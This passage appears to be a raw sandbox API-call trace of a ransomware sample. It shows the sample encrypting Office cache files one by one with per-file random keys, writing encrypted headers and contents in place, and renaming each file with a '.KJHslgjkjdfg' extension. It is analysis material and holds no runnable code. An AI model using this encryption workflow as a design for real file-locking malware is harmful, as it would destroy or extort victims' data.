cAlternateFileName="OFFICE~1.MSI")) returned 1 [0136.812] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.813] GetProcessHeap () returned 0x2a0000 [0136.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.813] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.813] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.813] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.813] GetProcessHeap () returned 0x2a0000 [0136.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.813] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0136.813] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.813] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0136.838] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.838] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.838] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.838] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.839] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.839] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.839] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.839] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xd4200, lpOverlapped=0x0) returned 1 [0136.892] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd4200) returned 1 [0136.906] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.907] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xd4200, lpOverlapped=0x0) returned 1 [0136.910] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.910] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.910] SetEndOfFile (hFile=0x124) returned 1 [0136.914] GetProcessHeap () returned 0x2a0000 [0136.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.914] GetProcessHeap () returned 0x2a0000 [0136.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.914] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.kjhslgjkjdfg")) returned 1 [0136.915] CloseHandle (hObject=0x124) returned 1 [0136.930] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0136.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.931] GetProcessHeap () returned 0x2a0000 [0136.931] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.931] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.931] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.931] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xd, lpOverlapped=0x0) returned 1 [0136.935] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.936] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.936] GetProcessHeap () returned 0x2a0000 [0136.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.936] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0136.936] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.936] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0136.936] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.936] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.936] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.936] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.936] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.937] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.937] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.937] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.937] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x333, lpOverlapped=0x0) returned 1 [0136.937] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x340, dwBufLen=0x340 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x340) returned 1 [0136.937] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.937] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x340, lpOverlapped=0x0) returned 1 [0136.937] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.937] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.937] SetEndOfFile (hFile=0x124) returned 1 [0136.940] GetProcessHeap () returned 0x2a0000 [0136.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.940] GetProcessHeap () returned 0x2a0000 [0136.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.940] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.kjhslgjkjdfg")) returned 1 [0136.946] CloseHandle (hObject=0x124) returned 1 [0136.946] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0136.946] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0136.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.946] GetProcessHeap () returned 0x2a0000 [0136.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.946] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.946] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.947] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x5, lpOverlapped=0x0) returned 1 [0136.949] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.949] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.949] GetProcessHeap () returned 0x2a0000 [0136.949] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0136.949] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0136.949] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.950] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0136.950] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.950] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.950] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.950] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.950] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.951] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.951] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.951] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x6a3b, lpOverlapped=0x0) returned 1 [0136.953] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x6a40) returned 1 [0136.953] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.954] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x6a40, lpOverlapped=0x0) returned 1 [0136.955] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.955] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.955] SetEndOfFile (hFile=0x124) returned 1 [0136.961] GetProcessHeap () returned 0x2a0000 [0136.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0136.961] GetProcessHeap () returned 0x2a0000 [0136.962] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.962] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.kjhslgjkjdfg")) returned 1 [0136.963] CloseHandle (hObject=0x124) returned 1 [0136.963] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0136.963] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.963] GetProcessHeap () returned 0x2a0000 [0136.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.963] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.963] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.963] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xa, lpOverlapped=0x0) returned 1 [0136.966] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.966] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.966] GetProcessHeap () returned 0x2a0000 [0136.966] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0136.967] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0136.967] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.967] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0136.967] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.967] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.967] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.967] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.967] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.967] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.967] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.967] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.967] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x10676, lpOverlapped=0x0) returned 1 [0136.969] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10680, dwBufLen=0x10680 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10680) returned 1 [0136.970] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.970] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x10680, lpOverlapped=0x0) returned 1 [0136.971] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.971] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.971] SetEndOfFile (hFile=0x124) returned 1 [0136.974] GetProcessHeap () returned 0x2a0000 [0136.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0136.974] GetProcessHeap () returned 0x2a0000 [0136.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.974] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.kjhslgjkjdfg")) returned 1 [0136.975] CloseHandle (hObject=0x124) returned 1 [0136.975] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0136.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.975] GetProcessHeap () returned 0x2a0000 [0136.975] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) 